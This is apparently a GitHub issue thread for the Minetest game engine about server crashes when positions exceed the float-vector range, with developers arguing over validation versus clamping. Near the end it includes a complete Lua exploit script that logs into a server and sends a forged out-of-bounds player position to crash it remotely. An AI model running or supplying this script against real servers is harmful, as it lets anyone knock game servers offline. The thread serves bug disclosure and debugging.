Giving float vector with x outside of -2.14748e+06 < x < 2.14748e+06 as a function argument crashes server & Minetest returns such vectors

[erlehmann]

Minetest version

commit 80d12db
using irrlicht 1.9.0mt2
using lua 5.1.5

OS / Hardware

Operating system: x86_64
CPU: Intel something

Summary

2021-10-29 14:22:03: ERROR[Main]: ServerError: AsyncErr: ServerThread::run Lua: Invalid float vector dimension range 'x' (expected -2.14748e+06 < x < 2.14748e+06 got -2.14748e+06).

Note that being that far out of bounds as a player is not an issue per se – in fact, the “obvious” fix of limiting player positions to being inside mapgen boundaries by teleporting or pushing them inside or killing them would both not fix the underlying issue, break existing setups (there exist servers where players, structures, and entities existing out of bounds of the map generator is part of the normal gameplay – singlenode museums would be affected, for example) and is likely to introduce at least one exploitable bug (try to figure it out, but do not say I did not warn you). Not allowing players to drop items out of bounds will also not fix the underlying issue.

The code should simply not crash at this point, but issue a warning.

Steps to reproduce

1. Create a minetest_game world with a player.
2. Manually edit players.sqlite of a world, set the x,y,z coordinates of a player to -21474836 each.
3. Enter that world as that player.
4. Drop an item.
5. Crash.

There exists at least one way to get to such coordinates as a player without fiddling with the server player database (and a few more ways that I suspect, but have not verified), which I do not want to reveal here for the obvious reasons that a) it is not necessary to understand the issue b) griefers would probably start crashing minetest servers c) I want developers to fix the problem, not just remove the way that I used to trigger it.

[sfan5]

Is there no Lua stack traceback?

[erlehmann]

Nope, it just crashes after displaying the message from the log.

[erlehmann]

@sfan5 this issue is not only about dropping items. Mineclonia, for example, sometimes crashes without the user having to drop an item (not reliably though), because minetest.get_objects_inside_radius() can not handle this situation:

2021-10-30 10:33:14: ERROR[Main]: ServerError: AsyncErr: environment_Step: Invalid float vector dimension range 'y' (expected -2.14748e+06 < y < 2.14748e+06 got -2.14748e+06).
2021-10-30 10:33:14: ERROR[Main]: stack traceback:
2021-10-30 10:33:14: ERROR[Main]: 	[C]: in function 'get_objects_inside_radius'
2021-10-30 10:33:14: ERROR[Main]: 	...n/../games/Mineclonia/mods/ENTITIES/mcl_mobs/api.lua:4581: in function '?'
2021-10-30 10:33:14: ERROR[Main]: 	minetest/bin/../builtin/game/register.lua:425: in function <minetest/bin/../builtin/game/register.lua:409>

[erlehmann]

I have changed the title of the issue so that it is clear that this has nothing to do with dropping items by itself, but with functions creating float vectors not checking their inputs properly.

[sfan5]

Well what should the engine do when given invalid data? The error is a result of functions "checking their inputs properly" and aborting safely.
Surely you wouldn't advocate ignoring the error and attempting to do the right thing, this is how we got PHP.

[erlehmann]

@sfan5 I looked at the specific function in Mineclonia and it seems to me as if the problem is that player:get_pos() can return a position that minetest.get_objects_inside_radius() can not use – which looks like a typing error to me. Is the error in the Lua code after all?

  4575	local timer = 0
  4576	minetest.register_globalstep(function(dtime)
  4577		timer = timer + dtime
  4578		if timer < 1 then return end
  4579		for _, player in ipairs(minetest.get_connected_players()) do
  4580			local pos = player:get_pos()
  4581			for _, obj in ipairs(minetest.get_objects_inside_radius(pos, 47)) do
  4582				local lua = obj:get_luaentity()
  4583				if lua and lua._cmi_is_mob then
  4584					lua.lifetimer = math.max(20, lua.lifetimer)
  4585					lua.despawn_immediately = false
  4586				end
  4587			end
  4588		end
  4589		timer = 0
  4590	end)

[SmallJoker]

What should Minetest do? Clamp the position values to the map dimensions in all cases? /teleport already does that to not cause such problems by accident:
https://github.com/minetest/minetest/blob/8dfeba02b9f084ddd52090ccd906534200f468b3/builtin/game/chat.lua#L527-L531

It is not possible to remove this check, as going over this limit would make the entity storing unpredictable (integer overflow). For reference:
https://github.com/minetest/minetest/blob/8dfeba02b9f084ddd52090ccd906534200f468b3/src/server/luaentity_sao.cpp#L293-L301

[sfan5]

Is the error in the Lua code after all?

There are two possible arguments to be made here:

• The Lua code fails to validate that the player is not outside bounds
  • Then this is not an engine bug or rather the scope is reduced to item dropping.
• or Lua should be able to rely on the engine returning valid positions.
  • Then engine or mods need to take care not to put players out of bounds.
    • In your opening post you rejected this solution.

[erlehmann]

• The Lua code fails to validate that the player is not outside bounds
  • Then this is not an engine bug or rather the scope is reduced to item dropping.

How could the Lua code do that? I would naively expect a validation function to trigger a crash too.

• or Lua should be able to rely on the engine returning valid positions.
  • Then engine or mods need to take care not to put players out of bounds.
    • In your opening post you rejected this solution.

A vast majority of actions outside of map boundaries are working find and are not going to cause a crash.

What I explicitly reject is clamping player or entity positions to map boundaries.

The problem here though seems to be exceeding the boundaries of the underlying data type – the float vector for the player position.

Making sure using a float vector does not cause a crash could involve clamping every read of it to the limits of the actual data type – while keeping the crashing behaviour when encountering an invalid float vector creation to ensure it is sanitized correctly.

[erlehmann]

Possibly related issues:

• Assertion `i >= F1000_MIN && i <= F1000_MAX' failed #6129
• Minetest crash when setting yaw to nan #7375

scope is reduced to item dropping

As seen here, this also can happen with other functions, e.g. particle spawners:

• "Invalid float vector dimension range" issue collection pandorabox-io/pandorabox.io#385

[sfan5]

I would naively expect a validation function to trigger a crash too.

???
Lua is perfectly able to compare two numbers without "crashing".

2.14748e+06 is about 2²¹, this fits fine in a float, double (Lua numbers are double) or even an int.
The reason for this limit is engine internal so that entity positions can be safely stored at some point later.

What I explicitly reject is clamping player or entity positions to map boundaries.

Well that is of no relevance here. The map can only possibly go until 32768. The error message complains about exceeding 2147480.

As seen here, this also can happen with other functions, e.g. particle spawners:

Of course. Any function that takes positions can throw this error message.
Existence of input validation is not a bug.

[erlehmann]

I suspect the multiplication and division of the internal position with the value of BS may be to blame for the value exceeding the limit.

@sfan5 could push_v3f maybe be changed to clamp the value to the posted limits (of F1000_MIN and F1000_MAX) and issue a warning instead of crashing?

[sfan5]

Sure it could but that is exactly what I characterized as undesirable in #11742 (comment).

[mckaygerhard]

can this be checked adn solved without upgrading the engine? some of us runs stable versions due upgrading are a mess (many runs 5.2 and i have one with 0.4.17)

[erlehmann]

Lua is perfectly able to compare two numbers without "crashing".

I see. That means the code must not give the validation function the vector, but the components of it!

2.14748e+06 is about 2²¹, this fits fine in a float, double (Lua numbers are double) or even an int.
The reason for this limit is engine internal so that entity positions can be safely stored at some point later.

“Safely stored” in what format though? Also, why are the limits for float vector components not the limits of the actual float data type? Are entity positions cast down to more narrow data types at some point?

[SmallJoker]

Also, why are the limits for float vector components not the limits of the actual float data type?

Second part of #11742 (comment) . F1000 serializes floats as follows: (s32)(floatval * 1000.f). This cannot be changed without breaking map forwards compatibility (which already partially happened due to zstd).

[MistUnky]

just teleport to the worldedge and fly out to some coord=32767 and it will be enough to cause a crash.
EDIT: you can also use mods to "launch" the player into 32767 (iirc)

[erlehmann]

@MistUnky that might be a different issue. With what message does it crash for you in which game?

[MistUnky]

@erlehmann
no specific game. this has existed since 0.3.1 (and older) and still exists in the latest git of minetest. it just freezes up though, no crash message, and I have to kill it usually.

[mckaygerhard]

just teleport to the worldedge and fly out to some coord=32767 and it will be enough to cause a crash.
EDIT: you can also use mods to "launch" the player into 32767 (iirc)

cnfirmed using rspawn mod.. with hole server.. i must fixed the vaste limits to less thatn edge world to workaround this problem.. but other mods has it .. ethereal i suspect crash due that!

[erlehmann]

Mineclonia has a report of a player managing to do this using the @anon5 minetest network library code: https://git.minetest.land/Mineclonia/Mineclonia/issues/201

note that this was done with anon5s proxy - this is not possible with normal hacked clients since these will crash themselves cause of overflow before the server crashes.

[erlehmann]

just teleport to the worldedge and fly out to some coord=32767 and it will be enough to cause a crash.

Whatever happens at that boundary must be a different crash due to how this one works.

[erlehmann]

Also, why are the limits for float vector components not the limits of the actual float data type?

Second part of #11742 (comment) . F1000 serializes floats as follows: (s32)(floatval * 1000.f). This cannot be changed without breaking map forwards compatibility (which already partially happened due to zstd).

I think the problem here is that minetest can give a player position that is not serialize-able and employs a poorly constructed ad-hoc approach to verification. A solution could be:

a) Ensure that all positions roundtrip through serialization and deserialization. There exist only a limited number of floats in the interval -2.14748e+06 < x < 2.14748e+06, so it is possible to unit test them all (computers are fast).

b) Whenever the engine outputs a position, check that it conforms to the range and emit a warning if it does not.

c) Do not crash (but warn instead) if the value does not fit into the range given. I am not so sure about this.

[neoh4x0r]

@erlehmann
The reason for the limits: https://en.wikipedia.org/wiki/Single-precision_floating-point_format

A signed 32-bit integer variable has a min/max value of +- 2^31 − 1 = +- 2.147483647E6,

The 32-bit float values are converted into unsigned 32-bit integers.
This is probably what @sfan5 meant about entity positions being stored (in this comment: #11742 (comment))

I think the choice here is that a 32-bit float could be converted into a hexadecimal representation (using IEEE-745) but that it would likely be much slower to do this than just using the current FIXED_POINT conversion to an unsigned 32-bit value.

2021-10-29 14:22:03: ERROR[Main]: ServerError: AsyncErr: ServerThread::run Lua: Invalid float vector dimension range 'x' (expected -2.14748e+06 < x < 2.14748e+06 got -2.14748e+06).

https://github.com/minetest/minetest/blob/75bf9b75caba5fc876f20eabea3fabc142d1b51e/src/script/common/c_converter.cpp#L43-L50

Throwing a warning in the CHECK_FLOAT_RANGE function wouldn't really help since this function cannot do anything about it (as it is used as helper by other functions to check for an exceptional error condition).

If a warning were generated, it will likely just crash in some other random location -- and it is best to make it crash as early as possible (to avoid damage, corruption, etc).

https://github.com/minetest/minetest/blob/75bf9b75caba5fc876f20eabea3fabc142d1b51e/src/script/common/c_converter.cpp#L212-L232

[Bastrabun]

We had something similar, I only throw it in for completeness. It happened when a player was struck with the sudden inspiration to drop a petz/mobkit pony on a trampoline. Bouncy bouncy boom:

2022-02-12 07:51:28: WARNING[Server]: collisionMoveSimple: Loop count exceeded, aborting to avoid infiniite loop
2022-02-12 07:51:45: ERROR[Main]: ServerError: AsyncErr: ServerThread::run Lua: Runtime error from mod 'petz' in callback luaentity_Step(): Invalid float vector dimension range 'y' (expected -2.14748e+06 < y < 2.14748e+06 got 4.2413e+09).
2022-02-12 07:51:45: ERROR[Main]: stack traceback:
2022-02-12 07:51:45: ERROR[Main]: [C]: in function 'set_velocity'
2022-02-12 07:51:45: ERROR[Main]: /home/mtlive1/.minetest/mods/mobkit/init.lua:702: in function 'physics'
2022-02-12 07:51:45: ERROR[Main]: /home/mtlive1/.minetest/mods/mobkit/init.lua:843: in function 'stepfunc'
2022-02-12 07:51:45: ERROR[Main]: /home/mtlive1/.minetest/mods/petz/petz/petz/pony_mobkit.lua:121: in function 'func'
2022-02-12 07:51:45: ERROR[Main]: ...inetest_live/bin/../builtin/profiler/instrumentation.lua:106: in function <...inetest_live/bin/../builtin/profiler/instrumentation.lua:100>

For my reference 1476

[rubenwardy]

Exploit has been posted which shows this can be triggered via network

[LizzyFleckenstein03]

#!/usr/bin/env hydra-dragonfire
-- Vulnerable: Minetest
-- Crashes the server by teleporting out of bounds
-- Usage: ./bounds-crash.lua <server>

math.randomseed(os.time() * os.clock())
local name = "Player" .. math.random(1e5, 1e6 - 1)

local client = hydra.client(arg[1])
client:enable("auth")

client.auth:username(name)
client.auth:password(name)
client.auth:version("")

client:subscribe("move_player")
client:connect()

local pkt = client:poll()
if pkt then
	local pos = pkt.pos / hydra.BS
	pos.y = -1e30

	client:send("player_pos", {
		pos = {
			pos100 = pos * hydra.BS * 100,
			vel100 = vec3(0),
			pitch100 = 0,
			yaw100 = 0,
			keys = {},
			fov80 = 0,
			wanted_range = 0,
		}
	})
end

client:close()

[sfan5]

The issue title is still wrong by the way, creating a vector outside of the given range does nothing at all.
It's also obvious that this can be trivially triggered from the network but in his opening post and continued discussion @erlehmann rejected the only sensible solution. I reckon that part of the reason this has not been fixed is whoever submits a PR would have to deal with endless arguing with them.

[0siribix]

Would it make sense to add a wrapper function that clamps the floats and only use the wrapper where it's needed?

[erlehmann]

The issue title is still wrong by the way, creating a vector outside of the given range does nothing at all.

Indeed – that is my mistake. IIRC giving the vector it as argument to a function actually crashes the game.

@erlehmann rejected the only sensible solution. I reckon that part of the reason this has not been fixed is whoever submits a PR would have to deal with endless arguing with them.

I think it is because people do not understand that this issue boils down to a typing error.

(Instead, they try to comprehend the issue in terms of “how could this crash Minetest”.)

Therefore, they try to fix it through poorly-constructed ad-hoc validation or clamping.

IMO this is a type error – different parts of the code represent different ideas about what a vector can be.

Therefore, the correct way is not more sanitization – the correct way is to make an “invalid vector” unrepresentable.

[sfan5]

I am not interested in edit wars over issue titles so we'll just close this.